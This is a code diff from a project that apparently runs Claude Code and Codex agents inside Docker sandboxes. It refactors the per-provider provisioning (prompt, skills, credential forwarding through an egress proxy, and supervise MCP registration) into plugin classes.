|
||||||
Anthropic API — there is no fallback that forwards the token directly
|
|
||||||
to the agent. Caveats: the token is bound to your subscription tier
|
````markdown
|
||||||
(Pro/Max/Team/Enterprise), it does not work with `claude --bare`
|
---
|
||||||
(which only reads `ANTHROPIC_API_KEY`), and if it leaks, regenerate
|
bottle: gitea-dev
|
||||||
via `claude setup-token` again. Reference:
|
skills:
|
||||||
<https://code.claude.com/docs/en/authentication>.
|
- init-prd
|
||||||
|
---
|
||||||
|
|
||||||
|
You help maintain Gitea-hosted projects.
|
||||||
|
````
|
||||||
|
|
||||||
|
More examples in `examples/`. Full design lives under `docs/prds/`; the trust-boundary rationale is in `docs/prds/0011-per-file-md-manifest.md`.
|
||||||
|
|
||||||
## Trademarks
|
## Trademarks
|
||||||
|
|
||||||
bot-bottle is an independent project and is not affiliated with,
|
bot-bottle is an independent project and is not affiliated with, endorsed by, or sponsored by Anthropic, PBC. "Claude" and "Claude Code" are trademarks of Anthropic, PBC; the project name uses "claude" descriptively to indicate that the tool runs Claude Code inside a sandbox.
|
||||||
endorsed by, or sponsored by Anthropic, PBC. "Claude" and "Claude
|
|
||||||
Code" are trademarks of Anthropic, PBC; the project name uses
|
|
||||||
"claude" descriptively to indicate that the tool runs Claude Code
|
|
||||||
inside a sandbox.
|
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
Copyright 2026 Eric Bauerfeld
|
Copyright 2026 Eric Bauerfeld. Licensed under the Apache License, Version 2.0. See [LICENSE](LICENSE) for the full text.
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0. See [LICENSE](LICENSE)
|
|
||||||
for the full text.
|
|
||||||
|
|||||||
+107
-134
@@ -3,18 +3,32 @@
|
|||||||
The manifest owns the user-facing AgentProvider shape. This module is
|
The manifest owns the user-facing AgentProvider shape. This module is
|
||||||
the launch-time table that turns a provider template into an executable
|
the launch-time table that turns a provider template into an executable
|
||||||
command, default image, and prompt/auth behavior.
|
command, default image, and prompt/auth behavior.
|
||||||
|
|
||||||
|
Per PRD 0050 the per-provider implementations live under
|
||||||
|
`bot_bottle/contrib/<template>/agent_provider.py`. This module exposes:
|
||||||
|
|
||||||
|
- `AgentProvider` (ABC) — the contract each plugin implements.
|
||||||
|
- `get_provider(template)` — lazy-imported registry; the analogue
|
||||||
|
of `bot_bottle/deploy_key_provisioner.get_provisioner`.
|
||||||
|
- `AgentProvisionPlan` (+ helper dataclasses) — declarative shape
|
||||||
|
each provider produces and the backends consume unchanged.
|
||||||
|
- `agent_provision_plan` / `runtime_for` — thin wrappers around the
|
||||||
|
registry kept so existing callers keep working without per-call
|
||||||
|
edits.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import json
|
from abc import ABC, abstractmethod
|
||||||
import os
|
|
||||||
from dataclasses import dataclass, field
|
from dataclasses import dataclass, field
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Literal
|
from typing import TYPE_CHECKING, Literal
|
||||||
|
|
||||||
from .codex_auth import codex_host_access_token, write_codex_dummy_auth_file
|
from .egress import EgressRoute
|
||||||
from .egress import CODEX_HOST_CREDENTIAL_TOKEN_REF, EgressRoute
|
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from .backend import Bottle, BottlePlan
|
||||||
|
|
||||||
|
|
||||||
PROVIDER_CLAUDE = "claude"
|
PROVIDER_CLAUDE = "claude"
|
||||||
@@ -96,35 +110,88 @@ class AgentProvisionPlan:
|
|||||||
provisioned_env: dict[str, str] = field(default_factory=dict)
|
provisioned_env: dict[str, str] = field(default_factory=dict)
|
||||||
|
|
||||||
|
|
||||||
_REPO_ROOT = Path(__file__).resolve().parent.parent
|
class AgentProvider(ABC):
|
||||||
|
"""Per-template plugin: produces the provision plan and applies
|
||||||
|
the provider-specific in-guest setup steps (skills, prompt, the
|
||||||
|
declarative `dirs`/`files`/`pre_copy`/`verify` apply loop, and
|
||||||
|
supervise MCP registration). Concrete subclasses live under
|
||||||
|
`bot_bottle/contrib/<template>/agent_provider.py`."""
|
||||||
|
|
||||||
|
@property
|
||||||
|
@abstractmethod
|
||||||
|
def runtime(self) -> AgentProviderRuntime:
|
||||||
|
"""The static command / image / prompt-mode table for this
|
||||||
|
template."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def provision_plan(
|
||||||
|
self,
|
||||||
|
*,
|
||||||
|
dockerfile: str,
|
||||||
|
state_dir: Path,
|
||||||
|
guest_home: str,
|
||||||
|
guest_env: dict[str, str] | None = None,
|
||||||
|
auth_token: str = "",
|
||||||
|
forward_host_credentials: bool = False,
|
||||||
|
host_env: dict[str, str] | None = None,
|
||||||
|
trusted_project_path: str = "",
|
||||||
|
) -> AgentProvisionPlan:
|
||||||
|
"""Build the declarative AgentProvisionPlan for one launch.
|
||||||
|
Backends call this during `prepare` and consume the result as
|
||||||
|
before."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def provision_skills(self, plan: "BottlePlan", bottle: "Bottle") -> None:
|
||||||
|
"""Copy each of the agent's named skills from the host into
|
||||||
|
the guest. No-op when the agent has no skills. The in-guest
|
||||||
|
layout is provider-specific (claude-code's
|
||||||
|
`~/.claude/skills/` today; future providers may differ)."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def provision_prompt(self, plan: "BottlePlan", bottle: "Bottle") -> str | None:
|
||||||
|
"""Copy the prompt file into the guest, fix ownership/mode,
|
||||||
|
and return the in-guest path iff the agent has a non-empty
|
||||||
|
prompt (drives the `--append-system-prompt-file` flag).
|
||||||
|
|
||||||
|
The file is copied either way so the path always exists."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def provision(self, plan: "BottlePlan", bottle: "Bottle") -> None:
|
||||||
|
"""Apply the provider's declarative
|
||||||
|
`dirs`/`pre_copy`/`files`/`verify` steps from
|
||||||
|
`plan.agent_provision`. Was called `provision_provider_auth`
|
||||||
|
on `BottleBackend` before PRD 0050."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def provision_supervise_mcp(
|
||||||
|
self,
|
||||||
|
plan: "BottlePlan",
|
||||||
|
bottle: "Bottle",
|
||||||
|
supervise_url: str,
|
||||||
|
) -> None:
|
||||||
|
"""Register the per-bottle supervise sidecar as an MCP server
|
||||||
|
in the provider's in-guest config. Called by the backend after
|
||||||
|
the supervise sidecar is reachable. No-op when
|
||||||
|
`plan.supervise_plan is None`."""
|
||||||
|
|
||||||
|
|
||||||
_RUNTIMES = {
|
def get_provider(template: str) -> AgentProvider:
|
||||||
PROVIDER_CLAUDE: AgentProviderRuntime(
|
"""Resolve a provider template name to its plugin instance.
|
||||||
template=PROVIDER_CLAUDE,
|
|
||||||
command="claude",
|
Lazy-imports the contrib module so importing this module doesn't
|
||||||
image="bot-bottle-claude:latest",
|
pull provider-specific code paths in. Mirrors the contrib
|
||||||
dockerfile=str(_REPO_ROOT / "Dockerfile.claude"),
|
convention PRD 0048 established for deploy key provisioners."""
|
||||||
prompt_mode="append_file",
|
if template == PROVIDER_CLAUDE:
|
||||||
bypass_args=("--dangerously-skip-permissions",),
|
from .contrib.claude.agent_provider import ClaudeAgentProvider
|
||||||
resume_args=("--continue",),
|
return ClaudeAgentProvider()
|
||||||
remote_control_args=("--remote-control",),
|
if template == PROVIDER_CODEX:
|
||||||
),
|
from .contrib.codex.agent_provider import CodexAgentProvider
|
||||||
PROVIDER_CODEX: AgentProviderRuntime(
|
return CodexAgentProvider()
|
||||||
template=PROVIDER_CODEX,
|
raise ValueError(f"unknown agent provider template: {template!r}")
|
||||||
command="codex",
|
|
||||||
image="bot-bottle-codex:latest",
|
|
||||||
dockerfile=str(_REPO_ROOT / "Dockerfile.codex"),
|
|
||||||
prompt_mode="read_prompt_file",
|
|
||||||
bypass_args=("--dangerously-bypass-approvals-and-sandbox",),
|
|
||||||
resume_args=("resume", "--last"),
|
|
||||||
remote_control_args=(),
|
|
||||||
),
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
def runtime_for(template: str) -> AgentProviderRuntime:
|
def runtime_for(template: str) -> AgentProviderRuntime:
|
||||||
return _RUNTIMES[template]
|
return get_provider(template).runtime
|
||||||
|
|
||||||
|
|
||||||
def agent_provision_plan(
|
def agent_provision_plan(
|
||||||
@@ -132,118 +199,24 @@ def agent_provision_plan(
|
|||||||
template: str,
|
template: str,
|
||||||
dockerfile: str,
|
dockerfile: str,
|
||||||
state_dir: Path,
|
state_dir: Path,
|
||||||
guest_home: str = "/home/node",
|
guest_home: str,
|
||||||
guest_env: dict[str, str] | None = None,
|
guest_env: dict[str, str] | None = None,
|
||||||
auth_token: str = "",
|
auth_token: str = "",
|
||||||
forward_host_credentials: bool = False,
|
forward_host_credentials: bool = False,
|
||||||
host_env: dict[str, str] | None = None,
|
host_env: dict[str, str] | None = None,
|
||||||
trusted_project_path: str = "",
|
trusted_project_path: str = "",
|
||||||
) -> AgentProvisionPlan:
|
) -> AgentProvisionPlan:
|
||||||
runtime = runtime_for(template)
|
"""Back-compat shim — `prepare` callers stay the same; the work
|
||||||
resolved_guest_env = dict(guest_env or {})
|
now lives on the provider plugin."""
|
||||||
trusted_path = trusted_project_path or guest_home
|
return get_provider(template).provision_plan(
|
||||||
env_vars: dict[str, str] = {}
|
|
||||||
provisioned_env: dict[str, str] = {}
|
|
||||||
dirs: list[AgentProvisionDir] = []
|
|
||||||
files: list[AgentProvisionFile] = []
|
|
||||||
pre_copy: list[AgentProvisionCommand] = []
|
|
||||||
verify: list[AgentProvisionCommand] = []
|
|
||||||
egress_routes: list[EgressRoute] = []
|
|
||||||
hidden_env_names: frozenset[str] = frozenset()
|
|
||||||
|
|
||||||
if template == PROVIDER_CODEX:
|
|
||||||
env_vars["CODEX_CA_CERTIFICATE"] = "/etc/ssl/certs/ca-certificates.crt"
|
|
||||||
auth_dir = resolved_guest_env.get("CODEX_HOME", f"{guest_home}/.codex")
|
|
||||||
if forward_host_credentials:
|
|
||||||
env_vars["CODEX_HOME"] = auth_dir
|
|
||||||
dirs.append(AgentProvisionDir(auth_dir))
|
|
||||||
config_path = f"{auth_dir}/config.toml"
|
|
||||||
config_file = state_dir / "codex-config.toml"
|
|
||||||
toml_path = trusted_path.replace("\\", "\\\\").replace('"', '\\"')
|
|
||||||
config_file.write_text(
|
|
||||||
f'[projects."{toml_path}"]\n'
|
|
||||||
'trust_level = "trusted"\n'
|
|
||||||
)
|
|
||||||
config_file.chmod(0o600)
|
|
||||||
files.append(AgentProvisionFile(config_file, config_path))
|
|
||||||
|
|
||||||
for host in CODEX_HOST_CREDENTIAL_HOSTS:
|
|
||||||
egress_routes.append(EgressRoute(
|
|
||||||
host=host,
|
|
||||||
auth_scheme="Bearer" if forward_host_credentials else "",
|
|
||||||
token_ref=CODEX_HOST_CREDENTIAL_TOKEN_REF if forward_host_credentials else "",
|
|
||||||
tls_passthrough=True,
|
|
||||||
))
|
|
||||||
if forward_host_credentials:
|
|
||||||
_host_env = host_env or dict(os.environ)
|
|
||||||
provisioned_env[CODEX_HOST_CREDENTIAL_TOKEN_REF] = codex_host_access_token(
|
|
||||||
_host_env,
|
|
||||||
)
|
|
||||||
auth_file = state_dir / "codex-auth.json"
|
|
||||||
write_codex_dummy_auth_file(auth_file, _host_env)
|
|
||||||
files.append(AgentProvisionFile(auth_file, f"{auth_dir}/auth.json"))
|
|
||||||
pre_copy.append(AgentProvisionCommand((
|
|
||||||
"find", auth_dir,
|
|
||||||
"-maxdepth", "1",
|
|
||||||
"-type", "f",
|
|
||||||
"(",
|
|
||||||
"-name", "*.sqlite",
|
|
||||||
"-o", "-name", "*.sqlite-*",
|
|
||||||
"-o", "-name", "*.codex-repair-*.bak",
|
|
||||||
")",
|
|
||||||
"-delete",
|
|
||||||
), "codex host credentials: could not reset runtime db files"))
|
|
||||||
verify.append(AgentProvisionCommand((
|
|
||||||
"runuser", "-u", "node", "--",
|
|
||||||
"env",
|
|
||||||
f"HOME={guest_home}",
|
|
||||||
f"CODEX_HOME={auth_dir}",
|
|
||||||
"codex", "login", "status",
|
|
||||||
), (
|
|
||||||
"codex host credentials: dummy auth was copied into the "
|
|
||||||
"guest, but Codex did not accept it"
|
|
||||||
)))
|
|
||||||
if template == PROVIDER_CLAUDE:
|
|
||||||
env_vars["CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC"] = "1"
|
|
||||||
env_vars["DISABLE_ERROR_REPORTING"] = "1"
|
|
||||||
claude_config = state_dir / "claude.json"
|
|
||||||
claude_projects = {
|
|
||||||
guest_home: {"hasTrustDialogAccepted": True},
|
|
||||||
}
|
|
||||||
claude_projects[trusted_path] = {"hasTrustDialogAccepted": True}
|
|
||||||
claude_config.write_text(json.dumps({
|
|
||||||
"hasCompletedOnboarding": True,
|
|
||||||
"theme": "dark",
|
|
||||||
"bypassPermissionsModeAccepted": True,
|
|
||||||
"projects": claude_projects,
|
|
||||||
}, indent=2) + "\n")
|
|
||||||
claude_config.chmod(0o600)
|
|
||||||
files.append(AgentProvisionFile(claude_config, f"{guest_home}/.claude.json"))
|
|
||||||
egress_routes.append(EgressRoute(
|
|
||||||
host="api.anthropic.com",
|
|
||||||
auth_scheme="Bearer" if auth_token else "",
|
|
||||||
token_ref=auth_token,
|
|
||||||
tls_passthrough=True,
|
|
||||||
))
|
|
||||||
if auth_token:
|
|
||||||
env_vars["CLAUDE_CODE_OAUTH_TOKEN"] = "egress-placeholder"
|
|
||||||
hidden_env_names = frozenset({"CLAUDE_CODE_OAUTH_TOKEN"})
|
|
||||||
|
|
||||||
return AgentProvisionPlan(
|
|
||||||
template=template,
|
|
||||||
command=runtime.command,
|
|
||||||
prompt_mode=runtime.prompt_mode,
|
|
||||||
image=runtime.image,
|
|
||||||
dockerfile=dockerfile,
|
dockerfile=dockerfile,
|
||||||
env_vars=env_vars,
|
state_dir=state_dir,
|
||||||
guest_env=resolved_guest_env,
|
guest_home=guest_home,
|
||||||
dirs=tuple(dirs),
|
guest_env=guest_env,
|
||||||
files=tuple(files),
|
auth_token=auth_token,
|
||||||
pre_copy=tuple(pre_copy),
|
forward_host_credentials=forward_host_credentials,
|
||||||
verify=tuple(verify),
|
host_env=host_env,
|
||||||
egress_routes=tuple(egress_routes),
|
trusted_project_path=trusted_project_path,
|
||||||
hidden_env_names=hidden_env_names,
|
|
||||||
provisioned_env=provisioned_env,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ from dataclasses import dataclass
|
|||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Any, Generic, Sequence, TypeVar
|
from typing import Any, Generic, Sequence, TypeVar
|
||||||
|
|
||||||
from ..agent_provider import AgentProvisionPlan
|
from ..agent_provider import AgentProvisionPlan, get_provider
|
||||||
from ..egress import EgressPlan
|
from ..egress import EgressPlan
|
||||||
from ..git_gate import GitGatePlan
|
from ..git_gate import GitGatePlan
|
||||||
from ..log import die, info
|
from ..log import die, info
|
||||||
@@ -76,6 +76,7 @@ class BottlePlan(ABC):
|
|||||||
|
|
||||||
spec: BottleSpec
|
spec: BottleSpec
|
||||||
stage_dir: Path
|
stage_dir: Path
|
||||||
|
guest_home: str
|
||||||
git_gate_plan: GitGatePlan
|
git_gate_plan: GitGatePlan
|
||||||
egress_plan: EgressPlan
|
egress_plan: EgressPlan
|
||||||
supervise_plan: SupervisePlan | None
|
supervise_plan: SupervisePlan | None
|
||||||
@@ -312,37 +313,44 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
|
|||||||
def launch(self, plan: PlanT) -> AbstractContextManager[Bottle]:
|
def launch(self, plan: PlanT) -> AbstractContextManager[Bottle]:
|
||||||
"""Build/run the bottle and yield a handle; tear down on exit."""
|
"""Build/run the bottle and yield a handle; tear down on exit."""
|
||||||
|
|
||||||
def provision(self, plan: PlanT, target: str) -> str | None:
|
def provision(self, plan: PlanT, bottle: "Bottle") -> str | None:
|
||||||
"""Copy host-side files (CA cert, prompt, skills, .git) into
|
"""Copy host-side files (CA cert, prompt, skills, .git) into
|
||||||
the running bottle. Called from `launch` after the container
|
the running bottle. Called from `launch` after the container
|
||||||
/ machine is up. `target` identifies the running instance in
|
/ machine is up. Returns the in-container prompt path if a
|
||||||
backend-specific terms (Docker: resolved container name; fly:
|
prompt was provisioned, else None — the Bottle handle uses it
|
||||||
machine id). Returns the in-container prompt path if a prompt
|
to decide whether to add provider-specific prompt args to the
|
||||||
was provisioned, else None — the Bottle handle uses it to
|
agent's argv.
|
||||||
decide whether to add provider-specific prompt args to the agent's
|
|
||||||
argv.
|
|
||||||
|
|
||||||
Default orchestration: ca → prompt → skills → workspace → git →
|
Default orchestration: ca → prompt → provider apply → skills
|
||||||
supervise. CA install runs first so the agent's trust store
|
→ workspace → git → supervise-mcp. CA install runs first so
|
||||||
is rebuilt before anything inside the agent makes a TLS call.
|
the agent's trust store is rebuilt before anything inside the
|
||||||
Subclasses typically don't override this; they implement the
|
agent makes a TLS call.
|
||||||
sub-methods below.
|
|
||||||
|
Per PRD 0050 the per-provider steps (prompt, skills,
|
||||||
|
declarative provision-plan apply, supervise MCP registration)
|
||||||
|
live on the `AgentProvider` plugin. The backend only owns the
|
||||||
|
steps that are about backend infrastructure (CA, workspace,
|
||||||
|
git) and surfaces the supervise sidecar URL its launch step
|
||||||
|
knows about via `supervise_mcp_url`.
|
||||||
|
|
||||||
PRD 0017: cred-proxy's agent-side dotfile rewrites (~/.npmrc,
|
PRD 0017: cred-proxy's agent-side dotfile rewrites (~/.npmrc,
|
||||||
~/.gitconfig insteadOf, tea config) are gone. Egress-proxy is
|
~/.gitconfig insteadOf, tea config) are gone. Egress-proxy is
|
||||||
on the agent's HTTP_PROXY path so every tool that respects
|
on the agent's HTTP_PROXY path so every tool that respects
|
||||||
HTTPS_PROXY (claude-code, git over HTTPS, npm, curl) is
|
HTTPS_PROXY (claude-code, git over HTTPS, npm, curl) is
|
||||||
intercepted without per-tool reconfiguration."""
|
intercepted without per-tool reconfiguration."""
|
||||||
self.provision_ca(plan, target)
|
provider = get_provider(plan.agent_provision.template)
|
||||||
prompt_path = self.provision_prompt(plan, target)
|
self.provision_ca(plan, bottle)
|
||||||
self.provision_provider_auth(plan, target)
|
prompt_path = provider.provision_prompt(plan, bottle)
|
||||||
self.provision_skills(plan, target)
|
provider.provision(plan, bottle)
|
||||||
self.provision_workspace(plan, target)
|
provider.provision_skills(plan, bottle)
|
||||||
self.provision_git(plan, target)
|
self.provision_workspace(plan, bottle)
|
||||||
self.provision_supervise(plan, target)
|
self.provision_git(plan, bottle)
|
||||||
|
provider.provision_supervise_mcp(
|
||||||
|
plan, bottle, self.supervise_mcp_url(plan),
|
||||||
|
)
|
||||||
return prompt_path
|
return prompt_path
|
||||||
|
|
||||||
def provision_ca(self, plan: PlanT, target: str) -> None:
|
def provision_ca(self, plan: PlanT, bottle: "Bottle") -> None:
|
||||||
"""Install the per-bottle CA into the agent's trust store so
|
"""Install the per-bottle CA into the agent's trust store so
|
||||||
the agent trusts the bumped CONNECT cert egress (was
|
the agent trusts the bumped CONNECT cert egress (was
|
||||||
pipelock, pre-PRD-0017) presents. Default impl is a no-op so
|
pipelock, pre-PRD-0017) presents. Default impl is a no-op so
|
||||||
@@ -351,39 +359,26 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
|
|||||||
backend overrides to docker-cp the cert in and run
|
backend overrides to docker-cp the cert in and run
|
||||||
`update-ca-certificates`."""
|
`update-ca-certificates`."""
|
||||||
|
|
||||||
def provision_provider_auth(self, plan: PlanT, target: str) -> None:
|
def provision_workspace(self, plan: PlanT, bottle: "Bottle") -> None:
|
||||||
"""Install non-secret provider auth marker files into the agent
|
|
||||||
home when a provider needs them to select the right auth mode.
|
|
||||||
The default is no-op."""
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def provision_prompt(self, plan: PlanT, target: str) -> str | None:
|
|
||||||
"""Copy the prompt file into the running bottle. Returns the
|
|
||||||
in-container path iff the agent has a non-empty prompt;
|
|
||||||
callers use the return value to decide whether to add
|
|
||||||
provider-specific prompt args to the agent's argv."""
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def provision_skills(self, plan: PlanT, target: str) -> None:
|
|
||||||
"""Copy the agent's named skills from the host into the
|
|
||||||
running bottle. No-op when the agent has no skills."""
|
|
||||||
|
|
||||||
def provision_workspace(self, plan: PlanT, target: str) -> None:
|
|
||||||
"""Copy the operator workspace into the running bottle when
|
"""Copy the operator workspace into the running bottle when
|
||||||
the backend cannot bake it into the agent image. Default is
|
the backend cannot bake it into the agent image. Default is
|
||||||
no-op for backends like Docker that handle this before launch."""
|
no-op for backends like Docker that handle this before launch."""
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def provision_git(self, plan: PlanT, target: str) -> None:
|
def provision_git(self, plan: PlanT, bottle: "Bottle") -> None:
|
||||||
"""Copy the host's cwd `.git` directory into the running
|
"""Copy the host's cwd `.git` directory into the running
|
||||||
bottle if the user requested --cwd. No-op otherwise."""
|
bottle if the user requested --cwd. No-op otherwise."""
|
||||||
|
|
||||||
def provision_supervise(self, plan: PlanT, target: str) -> None:
|
def supervise_mcp_url(self, plan: PlanT) -> str:
|
||||||
"""Write the in-bottle Claude Code MCP config so the agent
|
"""Return the agent-side URL of the per-bottle supervise
|
||||||
discovers the per-bottle supervise sidecar (PRD 0013).
|
sidecar, or "" when this bottle has no sidecar. The provider
|
||||||
No-op when bottle.supervise is False or the backend doesn't
|
plugin's `provision_supervise_mcp` uses it to register the
|
||||||
support the supervise sidecar yet. The Docker backend
|
MCP entry inside the guest.
|
||||||
overrides."""
|
|
||||||
|
Default returns "" so backends without supervise support
|
||||||
|
don't have to implement it. Docker and smolmachines override."""
|
||||||
|
del plan
|
||||||
|
return ""
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def prepare_cleanup(self) -> CleanupT:
|
def prepare_cleanup(self) -> CleanupT:
|
||||||
|
|||||||
@@ -9,6 +9,12 @@ This module is a thin façade. The real work lives in four siblings:
|
|||||||
|
|
||||||
The base class's `prepare` template runs cross-backend host-side
|
The base class's `prepare` template runs cross-backend host-side
|
||||||
validation before calling `_resolve_plan` here.
|
validation before calling `_resolve_plan` here.
|
||||||
|
|
||||||
|
Per PRD 0050 the per-provider provisioning steps (prompt, skills,
|
||||||
|
the declarative provision-plan apply, supervise MCP registration)
|
||||||
|
live on the `AgentProvider` plugin under `bot_bottle/contrib/`. The
|
||||||
|
Docker backend only owns the steps that are about backend
|
||||||
|
infrastructure: CA install and git copy-in.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
@@ -18,7 +24,8 @@ from contextlib import contextmanager
|
|||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Generator, Sequence
|
from typing import Generator, Sequence
|
||||||
|
|
||||||
from .. import ActiveAgent, BottleBackend, BottleSpec
|
from ...supervise import SUPERVISE_HOSTNAME, SUPERVISE_PORT
|
||||||
|
from .. import ActiveAgent, Bottle, BottleBackend, BottleSpec
|
||||||
from . import cleanup as _cleanup
|
from . import cleanup as _cleanup
|
||||||
from . import enumerate as _enumerate
|
from . import enumerate as _enumerate
|
||||||
from . import launch as _launch
|
from . import launch as _launch
|
||||||
@@ -28,10 +35,6 @@ from .bottle_cleanup_plan import DockerBottleCleanupPlan
|
|||||||
from .bottle_plan import DockerBottlePlan
|
from .bottle_plan import DockerBottlePlan
|
||||||
from .provision import ca as _ca
|
from .provision import ca as _ca
|
||||||
from .provision import git as _git
|
from .provision import git as _git
|
||||||
from .provision import prompt as _prompt
|
|
||||||
from .provision import provider_auth as _provider_auth
|
|
||||||
from .provision import skills as _skills
|
|
||||||
from .provision import supervise as _supervise_prov
|
|
||||||
|
|
||||||
|
|
||||||
class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanupPlan"]):
|
class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanupPlan"]):
|
||||||
@@ -57,23 +60,19 @@ class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanup
|
|||||||
with _launch.launch(plan, provision=self.provision) as bottle:
|
with _launch.launch(plan, provision=self.provision) as bottle:
|
||||||
yield bottle
|
yield bottle
|
||||||
|
|
||||||
def provision_ca(self, plan: DockerBottlePlan, target: str) -> None:
|
def provision_ca(self, plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
_ca.provision_ca(plan, target)
|
_ca.provision_ca(plan, bottle)
|
||||||
|
|
||||||
def provision_prompt(self, plan: DockerBottlePlan, target: str) -> str | None:
|
def provision_git(self, plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
return _prompt.provision_prompt(plan, target)
|
_git.provision_git(plan, bottle)
|
||||||
|
|
||||||
def provision_provider_auth(self, plan: DockerBottlePlan, target: str) -> None:
|
def supervise_mcp_url(self, plan: DockerBottlePlan) -> str:
|
||||||
_provider_auth.provision_provider_auth(plan, target)
|
"""Docker bottles reach the supervise sidecar via the
|
||||||
|
compose-network alias `supervise:9100`. No per-bottle URL
|
||||||
def provision_skills(self, plan: DockerBottlePlan, target: str) -> None:
|
plumbing needed; the alias resolves inside the bridge."""
|
||||||
_skills.provision_skills(plan, target)
|
if plan.supervise_plan is None:
|
||||||
|
return ""
|
||||||
def provision_git(self, plan: DockerBottlePlan, target: str) -> None:
|
return f"http://{SUPERVISE_HOSTNAME}:{SUPERVISE_PORT}/"
|
||||||
_git.provision_git(plan, target)
|
|
||||||
|
|
||||||
def provision_supervise(self, plan: DockerBottlePlan, target: str) -> None:
|
|
||||||
_supervise_prov.provision_supervise(plan, target)
|
|
||||||
|
|
||||||
def prepare_cleanup(self) -> DockerBottleCleanupPlan:
|
def prepare_cleanup(self) -> DockerBottleCleanupPlan:
|
||||||
return _cleanup.prepare_cleanup()
|
return _cleanup.prepare_cleanup()
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ from __future__ import annotations
|
|||||||
import subprocess
|
import subprocess
|
||||||
from typing import Callable
|
from typing import Callable
|
||||||
|
|
||||||
|
from typing import cast
|
||||||
|
|
||||||
from ...agent_provider import PromptMode, prompt_args
|
from ...agent_provider import PromptMode, prompt_args
|
||||||
from .. import Bottle, ExecResult
|
from .. import Bottle, ExecResult
|
||||||
|
|
||||||
@@ -23,7 +25,7 @@ class DockerBottle(Bottle):
|
|||||||
):
|
):
|
||||||
self.name = container
|
self.name = container
|
||||||
self._teardown = teardown
|
self._teardown = teardown
|
||||||
self._prompt_path = prompt_path_in_container
|
self.prompt_path = prompt_path_in_container
|
||||||
self._agent_prompt_mode = agent_prompt_mode
|
self._agent_prompt_mode = agent_prompt_mode
|
||||||
self.agent_command = agent_command
|
self.agent_command = agent_command
|
||||||
self.agent_provider_template = (
|
self.agent_provider_template = (
|
||||||
@@ -36,7 +38,7 @@ class DockerBottle(Bottle):
|
|||||||
) -> list[str]:
|
) -> list[str]:
|
||||||
full_argv = list(argv)
|
full_argv = list(argv)
|
||||||
full_argv.extend(
|
full_argv.extend(
|
||||||
prompt_args(self._agent_prompt_mode, self._prompt_path, argv=full_argv)
|
prompt_args(cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=full_argv)
|
||||||
)
|
)
|
||||||
cmd = ["docker", "exec"]
|
cmd = ["docker", "exec"]
|
||||||
if tty:
|
if tty:
|
||||||
|
|||||||
@@ -35,6 +35,7 @@ import secrets
|
|||||||
import string
|
import string
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from typing import cast
|
||||||
|
|
||||||
from ... import supervise as _supervise
|
from ... import supervise as _supervise
|
||||||
from . import util as docker_mod
|
from . import util as docker_mod
|
||||||
@@ -135,14 +136,15 @@ def read_metadata(identity: str) -> BottleMetadata | None:
|
|||||||
raw = json.loads(path.read_text())
|
raw = json.loads(path.read_text())
|
||||||
if not isinstance(raw, dict):
|
if not isinstance(raw, dict):
|
||||||
return None
|
return None
|
||||||
|
raw_typed = cast(dict[str, object], raw)
|
||||||
return BottleMetadata(
|
return BottleMetadata(
|
||||||
identity=str(raw.get("identity", identity)),
|
identity=str(raw_typed.get("identity", identity)),
|
||||||
agent_name=str(raw.get("agent_name", "")),
|
agent_name=str(raw_typed.get("agent_name", "")),
|
||||||
cwd=str(raw.get("cwd", "")),
|
cwd=str(raw_typed.get("cwd", "")),
|
||||||
copy_cwd=bool(raw.get("copy_cwd", False)),
|
copy_cwd=bool(raw_typed.get("copy_cwd", False)),
|
||||||
started_at=str(raw.get("started_at", "")),
|
started_at=str(raw_typed.get("started_at", "")),
|
||||||
compose_project=str(raw.get("compose_project", "")),
|
compose_project=str(raw_typed.get("compose_project", "")),
|
||||||
backend=str(raw.get("backend", "")),
|
backend=str(raw_typed.get("backend", "")),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -30,7 +30,6 @@ semantics open question.
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
|
||||||
import shutil
|
import shutil
|
||||||
import subprocess
|
import subprocess
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
@@ -39,7 +38,6 @@ from ...log import info, warn
|
|||||||
from .bottle_state import (
|
from .bottle_state import (
|
||||||
mark_preserved,
|
mark_preserved,
|
||||||
per_bottle_dockerfile,
|
per_bottle_dockerfile,
|
||||||
per_bottle_dockerfile_path,
|
|
||||||
transcript_snapshot_dir,
|
transcript_snapshot_dir,
|
||||||
